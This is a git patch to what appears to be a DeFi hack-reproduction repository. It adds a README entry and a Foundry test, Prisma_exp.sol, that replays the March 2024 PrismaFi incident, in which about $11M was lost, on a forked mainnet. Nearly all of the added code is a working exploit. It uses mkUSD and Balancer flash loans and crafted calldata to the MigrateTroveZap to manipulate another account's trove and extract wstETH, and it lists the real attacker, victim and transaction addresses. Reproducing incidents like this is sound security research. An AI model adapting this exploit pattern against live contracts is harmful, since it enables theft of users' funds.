From 9778a6ce118057d620feac12e6f8383c207ac966 Mon Sep 17 00:00:00 2001 From: 0xsha <54356171+0xsha@users.noreply.github.com> Date: Fri, 29 Mar 2024 20:59:30 +0700 Subject: [PATCH] Added same day 1-day PrismaFi PoC --- README.md | 19 +++- src/test/Prisma_exp.sol | 211 ++++++++++++++++++++++++++++++++++++++++ 2 files changed, 229 insertions(+), 1 deletion(-) create mode 100644 src/test/Prisma_exp.sol diff --git a/README.md b/README.md index 4e4c474b..5330d66a 100644 --- a/README.md +++ b/README.md @@ -34,6 +34,8 @@ All articles are also published on [Substack](https://defihacklabs.substack.com/ - Lesson 7: Hack Analysis: Nomad Bridge, August 2022 ( [English](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/07_Analysis_nomad_bridge/en/) | [中文](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/07_Analysis_nomad_bridge/) ) ## List of Past DeFi Incidents +[20240329 PrismaFi](#20240329-prismaFi---insufficient-validation) + [20240309 Juice](#20240309-juice---business-logic-flaw) [20240325 ZongZi](#20240325-zongzi---price-manipulation) @@ -824,8 +826,23 @@ All articles are also published on [Substack](https://defihacklabs.substack.com/ +### 20240329 PrismaFi - Insufficient Validation + +### Lost: $~11M + + +```sh +forge test --contracts ./src/test/Prisma_exp.sol -vvv +``` +#### Contract +[Prisma_exp.sol](src/test/Prisma_exp.sol) +### Link reference + +https://twitter.com/EXVULSEC/status/1773371049951797485 + +--- -### 20240309 Juice - +### 20240309 Juice - Business Logic Flaw ### Lost: ~54 ETH diff --git a/src/test/Prisma_exp.sol b/src/test/Prisma_exp.sol new file mode 100644 index 00000000..47de6c53 --- /dev/null +++ b/src/test/Prisma_exp.sol @@ -0,0 +1,211 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.19; + +import {Test, console2} from "forge-std/Test.sol"; + +// @KeyInfo - Total Lost: ~$11M +// Attacker: 0x7e39e3b3ff7adef2613d5cc49558eab74b9a4202 +// Attack Contract: 0xd996073019c74b2fb94ead236e32032405bc027c +// Vulnerable Contract: 0xcc7218100da61441905e0c327749972e3cbee9ee +// Attack Tx: https://etherscan.io/tx/0x00c503b595946bccaea3d58025b5f9b3726177bbdc9674e634244135282116c7 + +// @Analyses +// https://twitter.com/EXVULSEC/status/1773371049951797485 +// https://twitter.com/PrismaFi/status/1773371030129524957 + +/////////////////////////////////////// Interfaces /////////////////////////////////////// + +interface IERC20 { + event Approval(address indexed owner, address indexed spender, uint256 value); + event Transfer(address indexed from, address indexed to, uint256 value); + + function name() external view returns (string memory); + function symbol() external view returns (string memory); + function decimals() external view returns (uint8); + function totalSupply() external view returns (uint256); + function balanceOf(address owner) external view returns (uint256); + function allowance(address owner, address spender) external view returns (uint256); + + function approve(address spender, uint256 value) external returns (bool); + function transfer(address to, uint256 value) external returns (bool); + function transferFrom(address from, address to, uint256 value) external returns (bool); +} + +interface IMKUSDLoan { + function flashLoan( + IERC3156FlashBorrower receiver, + address token, + uint256 amount, + bytes calldata data + ) external returns (bool); +} + +interface IERC3156FlashBorrower { + function onFlashLoan( + address initiator, + address token, + uint256 amount, + uint256 fee, + bytes calldata data + ) external returns (bytes32); +} + +interface IBorrowerOperations { + function setDelegateApproval(address _delegate, bool _isApproved) external; + + function openTrove( + address troveManager, + address account, + uint256 _maxFeePercentage, + uint256 _collateralAmount, + uint256 _debtAmount, + address _upperHint, + address _lowerHint + ) external; + + function closeTrove(address troveManager, address account) external; +} + +interface IPriceFeed { + function fetchPrice(address _token) external returns (uint256); +} + +interface IBalancerVault { + function flashLoan( + address recipient, + address[] memory tokens, + uint256[] memory amounts, + bytes memory userData + ) external; +} + +contract PrismaExploit is Test { + IBalancerVault public vault; + IPriceFeed public priceFeed; + + address public immutable wstETH = 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0; + address public immutable mkUSD = 0x4591DBfF62656E7859Afe5e45f6f47D3669fBB28; + address public immutable MigrateTroveZap = 0xcC7218100da61441905e0c327749972e3CBee9EE; + address public immutable BorrowerOperations = 0x72c590349535AD52e6953744cb2A36B409542719; + address public immutable TroveManager = 0x1CC79f3F47BfC060b6F761FcD1afC6D399a968B6; + address public immutable upperHint = 0xE87C6f39881D5bF51Cf46d3Dc7E1c1731C2f790A; + address public immutable lowerHint = 0x89Ee26FCDFF6B109F81ABC6876600eC427F7907F; + + bytes32 private constant attackTx = hex"00c503b595946bccaea3d58025b5f9b3726177bbdc9674e634244135282116c7"; + + function setUp() public { + // set up the fork + vm.createSelectFork("https://rpc.ankr.com/eth", attackTx); + + // chainlink price feed and balancer vault + priceFeed = IPriceFeed(0xC105CeAcAeD23cad3E9607666FEF0b773BC86aac); + vault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8); + } + + /////////////////////////////////////// Interfaces /////////////////////////////////////// + + function test_exploit() public { + uint256 price = priceFeed.fetchPrice(wstETH); + console2.log("Price Feed Price: ", price); + + // start with ~1800 mkUSD + deal(address(mkUSD), address(this), 1_800_000_022_022_732_637); + + console2.log("Attacker start with ~1800 mkUSD: ", IERC20(mkUSD).balanceOf(address(this))); + console2.log("start with wstETH balance before attack : ", IERC20(wstETH).balanceOf(address(this))); + + // get mkUSD loan + + // address account, + // address troveManagerFrom, + // address troveManagerTo, + // uint256 maxFeePercentage, + // uint256 coll, + // address upperHint, + // address lowerHint + + // data + // bytes memory data = hex"00000000000000000000000056a201b872b50bbdee0021ed4d1bb36359d291ed0000000000000000000000001cc79f3f47bfc060b6f761fcd1afc6d399a968b60000000000000000000000001cc79f3f47bfc060b6f761fcd1afc6d399a968b60000000000000000000000000000000000000000000000000011c3794b4c52ff0000000000000000000000000000000000000000000000191bf9b8cefc50317e000000000000000000000000e87c6f39881d5bf51cf46d3dc7e1c1731c2f790a00000000000000000000000089ee26fcdff6b109f81abc6876600ec427f7907f"; + + uint256 amount = 1_442_100_643_475_620_087_665_721; + + address account = 0x56A201b872B50bBdEe0021ed4D1bb36359D291ED; + address troveManagerFrom = address(TroveManager); + address troveManagerTo = address(TroveManager); + uint256 maxFeePercentage = 5_000_000_325_833_471; + uint256 coll = 463_184_447_350_099_685_758; + + bytes memory data = abi.encode( + account, troveManagerFrom, troveManagerTo, maxFeePercentage, coll, address(upperHint), address(lowerHint) + ); + + IMKUSDLoan(mkUSD).flashLoan(IERC3156FlashBorrower(address(MigrateTroveZap)), address(mkUSD), amount, data); + + address[] memory tokens = new address[](1); + tokens[0] = address(wstETH); + + uint256[] memory amounts = new uint256[](1); + amounts[0] = 1_000_000_000_000_000_000; + + uint256[] memory feeAmounts = new uint256[](1); + feeAmounts[0] = 0; + + // get balancer wstETH loan + vault.flashLoan(address(this), tokens, amounts, abi.encode("")); + } + + function receiveFlashLoan( + IERC20[] memory, /* tokens */ + uint256[] memory, /* amounts */ + uint256[] memory, /* feeAmounts */ + bytes memory /* userData */ + ) external { + // approve borowOperations to spend wstETH with max amount + IERC20(wstETH).approve(address(BorrowerOperations), type(uint256).max); + + // set delegate approval + IBorrowerOperations(BorrowerOperations).setDelegateApproval(address(MigrateTroveZap), true); + + // // open trove + IBorrowerOperations(BorrowerOperations).openTrove( + address(TroveManager), + address(this), + 5_000_000_325_833_471, + 1_000_000_000_000_000_000, + 2_000_000_000_000_000_000_000, + address(upperHint), + address(lowerHint) + ); + + // // another mkUSD loan + // // // data + // bytes memory data = hex"000000000000000000000000d996073019c74b2fb94ead236e32032405bc027c0000000000000000000000001cc79f3f47bfc060b6f761fcd1afc6d399a968b60000000000000000000000001cc79f3f47bfc060b6f761fcd1afc6d399a968b60000000000000000000000000000000000000000000000000011c3794b4c52ff0000000000000000000000000000000000000000000000458a6330674daf1a93000000000000000000000000e87c6f39881d5bf51cf46d3dc7e1c1731c2f790a00000000000000000000000089ee26fcdff6b109f81abc6876600ec427f7907f"; + + uint256 amount = 2_000_000_000_000_000_000_000; + + address account = address(this); + address troveManagerFrom = address(TroveManager); + address troveManagerTo = address(TroveManager); + uint256 maxFeePercentage = 5_000_000_325_833_471; + uint256 coll = 1_282_797_208_306_130_557_587; + + bytes memory data = abi.encode( + account, troveManagerFrom, troveManagerTo, maxFeePercentage, coll, address(upperHint), address(lowerHint) + ); + + IMKUSDLoan(mkUSD).flashLoan(IERC3156FlashBorrower(address(MigrateTroveZap)), address(mkUSD), amount, data); + + // cuurent contract mkUSD balance + // console2.log("mkUSD balance before closing the trove: ", IERC20(mkUSD).balanceOf(address(this))); + + // close trove + IBorrowerOperations(BorrowerOperations).closeTrove(address(TroveManager), address(this)); + + uint256 returnAmount = 1_000_000_000_000_000_000; + // transfer the wstETH loan back to the vault + IERC20(wstETH).transfer(address(vault), returnAmount); + + // current contract wstETH balance + console2.log("wstETH balance ~1281.79 ETH after attack: ", IERC20(wstETH).balanceOf(address(this))); + } +}